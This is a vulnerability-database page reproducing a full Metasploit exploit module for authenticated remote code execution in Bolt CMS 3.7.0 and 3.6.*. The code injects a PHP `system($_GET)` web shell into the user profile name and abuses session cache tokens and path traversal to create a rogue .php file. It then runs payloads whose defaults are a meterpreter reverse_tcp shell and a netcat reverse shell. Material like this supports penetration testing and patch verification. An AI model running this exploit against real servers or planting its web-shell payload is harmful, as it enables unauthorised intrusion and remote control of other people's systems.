Lucene search
K

Bolt CMS 3.7.0 Authenticated Remote Code Execution

🗓️ 29 Jun 2020 00:00:00Reported by r3m0t3nu11Type 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 365 Views

Bolt CMS 3.7.0 Authenticated Remote Code Execution vulnerabilit

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
include Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Bolt CMS 3.7.0 - Authenticated Remote Code Execution',  
'Description' => %q{  
This module exploits multiple vulnerabilities in Bolt CMS version 3.7.0  
and 3.6.* in order to execute arbitrary commands as the user running Bolt.  
  
This module first takes advantage of a vulnerability that allows an  
authenticated user to change the username in /bolt/profile to a PHP  
`system($_GET[""])` variable. Next, the module obtains a list of tokens  
from `/async/browse/cache/.sessions` and uses these to create files with  
the blacklisted `.php` extention via HTTP POST requests to  
`/async/folder/rename`. For each created file, the module checks the HTTP  
response for evidence that the file can be used to execute arbitrary  
commands via the created PHP $_GET variable. If the response is negative,  
the file is deleted, otherwise the payload is executed via an HTTP  
get request in this format: `/files/<rogue_PHP_file>?<$_GET_var>=<payload>`  
  
Valid credentials for a Bolt CMS user are required. This module has been  
successfully tested against Bolt CMS 3.7.0 running on CentOS 7.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Sivanesh Ashok', # Discovery  
'r3m0t3nu11', # PoC  
'Erik Wynter' # @wyntererik - Metasploit  
],  
'References' =>  
[  
['EDB', '48296'],  
['URL', 'https://github.com/bolt/bolt/releases/tag/3.7.1'] # Bolt CMS 3.7.1 release info mentioning this issue and the discovery by Sivanesh Ashok  
],  
'Platform' => ['linux', 'unix'],  
'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],  
'Targets' =>  
[  
[  
'Linux (x86)', {  
'Arch' => ARCH_X86,  
'Platform' => 'linux',  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'  
}  
}  
],  
[  
'Linux (x64)', {  
'Arch' => ARCH_X64,  
'Platform' => 'linux',  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'  
}  
}  
],  
[  
'Linux (cmd)', {  
'Arch' => ARCH_CMD,  
'Platform' => 'unix',  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_netcat'  
}  
}  
]  
],  
'Privileged' => false,  
'DisclosureDate' => '2020-05-07', # this the date a patch was released, since the disclosure data is not known at this time  
'DefaultOptions' => {  
'RPORT' => 8000,  
'WfsDelay' => 5  
},  
'DefaultTarget' => 2,  
'Notes' => {  
'NOCVE' => '0day',  
'Stability' => [SERVICE_RESOURCE_LOSS], # May hang up the service  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]  
}  
)  
)  
  
register_options [  
OptString.new('TARGETURI', [true, 'Base path to Bolt CMS', '/']),  
OptString.new('USERNAME', [true, 'Username to authenticate with', false]),  
OptString.new('PASSWORD', [true, 'Password to authenticate with', false]),  
OptString.new('FILE_TRAVERSAL_PATH', [true, 'Traversal path from "/files" on the web server to "/root" on the server', '../../../public/files'])  
]  
end  
  
def check  
# obtain token and cookie required for login  
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'bolt', 'login')  
  
return CheckCode::Unknown('Connection failed') unless res  
  
unless res.code == 200 && res.body.include?('Sign in to Bolt')  
return CheckCode::Safe('Target is not a Bolt CMS application.')  
end  
  
html = res.get_html_document  
token = html.at('input[@id="user_login__token"]')['value']  
cookie = res.get_cookies  
  
# perform login  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'bolt', 'login'),  
'cookie' => cookie,  
'vars_post' => {  
'user_login[username]' => datastore['USERNAME'],  
'user_login[password]' => datastore['PASSWORD'],  
'user_login[login]' => '',  
'user_login[_token]' => token  
}  
})  
  
return CheckCode::Unknown('Connection failed') unless res  
  
unless res.code == 302 && res.body.include?('Redirecting to /bolt')  
return CheckCode::Unknown('Failed to authenticate to the server.')  
end  
  
@cookie = res.get_cookies  
return unless @cookie  
  
# visit profile page to obtain user_profile token and user email  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),  
'cookie' => @cookie  
})  
  
return CheckCode::Unknown('Connection failed') unless res  
  
unless res.code == 200 && res.body.include?('<title>Profile')  
return CheckCode::Unknown('Failed to authenticate to the server.')  
end  
  
html = res.get_html_document  
  
@email = html.at('input[@type="email"]')['value'] # this is used later to revert all changes to the user profile  
unless @email # create fake email if this value is not found  
@email = Rex::Text.rand_text_alpha_lower(5..8)  
@email << "@#{@email}."  
@email << Rex::Text.rand_text_alpha_lower(2..3)  
print_error("Failed to obtain user email. Using #{@email} instead. This will be visible on the user profile.")  
end  
  
@profile_token = html.at('input[@id="user_profile__token"]')['value'] # this is needed to rename the user (below)  
  
if !@profile_token || @profile_token.to_s.empty?  
return CheckCode::Unknown('Authentication failure.')  
end  
  
# change user profile to a php $_GET variable  
@php_var_name = Rex::Text.rand_text_alpha_lower(4..6)  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),  
'cookie' => @cookie,  
'vars_post' => {  
'user_profile[password][first]' => datastore['PASSWORD'],  
'user_profile[password][second]' => datastore['PASSWORD'],  
'user_profile[email]' => @email,  
'user_profile[displayname]' => "<?php system($_GET['#{@php_var_name}']);?>",  
'user_profile[save]' => '',  
'user_profile[_token]' => @profile_token  
}  
})  
  
return CheckCode::Unknown('Connection failed') unless res  
  
# visit profile page again to verify the changes  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),  
'cookie' => @cookie  
})  
  
return CheckCode::Unknown('Connection failed') unless res  
  
unless res.code == 200 && res.body.include?("php system($_GET['#{@php_var_name}&#039")  
return CheckCode::Unknown('Authentication failure.')  
end  
  
CheckCode::Vulnerable("Successfully changed the /bolt/profile username to PHP $_GET variable \"#{@php_var_name}\".")  
end  
  
def exploit  
# NOTE: Automatic check is implemented by the AutoCheck mixin  
super  
  
csrf  
unless @csrf_token && !@csrf_token.empty?  
fail_with Failure::NoAccess, 'Failed to obtain CSRF token'  
end  
vprint_status("Found CSRF token: #{@csrf_token}")  
  
file_tokens = obtain_cache_tokens  
unless file_tokens && !file_tokens.empty?  
fail_with Failure::NoAccess, 'Failed to obtain tokens for creating .php files.'  
end  
print_status("Found #{file_tokens.length} potential token(s) for creating .php files.")  
  
token_results = try_tokens(file_tokens)  
unless token_results && !token_results.empty?  
fail_with Failure::NoAccess, 'Failed to create a .php file that can be used for RCE. This may happen on occasion. You can try rerunning the module.'  
end  
  
valid_token = token_results[0]  
@rogue_file = token_results[1]  
  
print_good("Used token #{valid_token} to create #{@rogue_file}.")  
if target.arch.first == ARCH_CMD  
execute_command(payload.encoded)  
else  
execute_cmdstager  
end  
end  
  
def csrf  
# visit /bolt/overview/showcases to get csrf token  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'bolt', 'overview', 'showcases'),  
'cookie' => @cookie  
})  
  
fail_with Failure::Unreachable, 'Connection failed' unless res  
  
unless res.code == 200 && res.body.include?('Showcases')  
fail_with Failure::NoAccess, 'Failed to obtain CSRF token'  
end  
  
html = res.get_html_document  
@csrf_token = html.at('div[@class="buic-listing"]')['data-bolt_csrf_token']  
end  
  
def obtain_cache_tokens  
# obtain tokens for creating rogue .php files from cache  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'async', 'browse', 'cache', '.sessions'),  
'cookie' => @cookie  
})  
  
fail_with Failure::Unreachable, 'Connection failed' unless res  
  
unless res.code == 200 && res.body.include?('entry disabled')  
fail_with Failure::NoAccess, 'Failed to obtain file impersonation tokens'  
end  
  
html = res.get_html_document  
entries = html.search('tr')  
tokens = []  
entries.each do |e|  
token = e.at('span[@class="entry disabled"]').text.strip  
size = e.at('div[@class="filesize"]')['title'].strip.split(' ')[0]  
tokens.append(token) if size.to_i >= 2000  
end  
  
tokens  
end  
  
def try_tokens(file_tokens)  
# create .php files and check if any of them can be used for RCE via the username $_GET variable  
file_tokens.each do |token|  
file_path = datastore['FILE_TRAVERSAL_PATH'].chomp('/') # remove trailing `/` in case present  
file_name = Rex::Text.rand_text_alpha_lower(8..12)  
file_name << '.php'  
  
# use token to create rogue .php file by 'renaming' a file from cache  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'async', 'folder', 'rename'),  
'cookie' => @cookie,  
'vars_post' => {  
'namespace' => 'root',  
'parent' => '/app/cache/.sessions',  
'oldname' => token,  
'newname' => "#{file_path}/#{file_name}",  
'token' => @csrf_token  
}  
})  
  
fail_with Failure::Unreachable, 'Connection failed' unless res  
  
next unless res.code == 200 && res.body.include?(file_name)  
  
# check if .php file contains an empty `displayname` value. If so, cmd execution should work.  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'files', file_name),  
'cookie' => @cookie  
})  
  
fail_with Failure::Unreachable, 'Connection failed' unless res  
  
# the response should contain a string formatted like: `displayname";s:31:""` but `s` can be a different letter and `31` a different number  
unless res.code == 200 && res.body.match(/displayname";[a-z]:\d{1,2}:""/)  
delete_file(file_name)  
next  
end  
  
return token, file_name  
end  
  
nil  
end  
  
def execute_command(cmd, _opts = {})  
if target.arch.first == ARCH_CMD  
print_status("Attempting to execute the payload via \"/files/#{@rogue_file}?#{@php_var_name}=`payload`\"")  
end  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'files', @rogue_file),  
'cookie' => @cookie,  
'vars_get' => { @php_var_name => "(#{cmd}) > /dev/null &" } # HACK: Don't block on stdout  
}, 3.5)  
  
# the response should contain a string formatted like: `displayname";s:31:""` but `s` can be a different letter and `31` a different number  
unless res && res.code == 200 && res.body.match(/displayname";[a-z]:\d{1,2}:""/)  
print_warning('No response, may have executed a blocking payload!')  
return  
end  
  
print_good('Payload executed!')  
end  
  
def cleanup  
super  
  
# delete rogue .php file used for execution (if present)  
delete_file(@rogue_file) if @rogue_file  
  
return unless @profile_token  
  
# change user profile back to original  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),  
'cookie' => @cookie,  
'vars_post' => {  
'user_profile[password][first]' => datastore['PASSWORD'],  
'user_profile[password][second]' => datastore['PASSWORD'],  
'user_profile[email]' => @email,  
'user_profile[displayname]' => datastore['USERNAME'].to_s,  
'user_profile[save]' => '',  
'user_profile[_token]' => @profile_token  
}  
})  
  
unless res  
print_warning('Failed to revert user profile back to original state.')  
return  
end  
  
# visit profile page again to verify the changes  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),  
'cookie' => @cookie  
})  
  
unless res && res.code == 200 && res.body.include?(datastore['USERNAME'].to_s)  
print_warning('Failed to revert user profile back to original state.')  
end  
  
print_good('Reverted user profile back to original state.')  
end  
  
def delete_file(file_name)  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'async', 'file', 'delete'),  
'cookie' => @cookie,  
'vars_post' => {  
'namespace' => 'files',  
'filename' => file_name,  
'token' => @csrf_token  
}  
})  
  
unless res && res.code == 200 && res.body.include?(file_name)  
print_warning("Failed to delete file #{file_name}. Manual cleanup required.")  
end  
  
print_good("Deleted file #{file_name}.")  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Jun 2020 00:00Current
0.1Low risk
Vulners AI Score0.1
365